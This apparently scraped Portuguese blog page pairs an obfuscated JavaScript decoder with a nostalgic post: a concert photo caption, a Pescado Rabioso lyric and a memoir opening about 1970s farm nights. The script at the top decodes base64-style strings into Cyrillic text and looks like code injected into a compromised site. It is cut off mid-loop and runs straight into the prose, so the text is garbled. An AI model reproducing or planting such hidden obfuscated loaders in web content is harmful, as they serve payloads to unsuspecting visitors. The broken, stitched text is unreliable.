function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5 Público durante o show de Léo Canhoto e Robertinho, na Fazenda Barra Grande, em Tibiriçá (Bauru)
No te apures ya más, loco
porque es entonces cuando las horas
bajan, el día es vidrio sin sol
(Trecho da canção “Bajan”, Pescado Rabioso)
Lá fora, o vento morno mexe levemente as folhas do coqueiro. A noite caiu não faz muito tempo e as estrelas começam seu balé de brilhos prateados. Nós já estamos deitados. É o sítio lá pelo início da década de 1970. Aqui as horas baixam mais cedo. (mais…)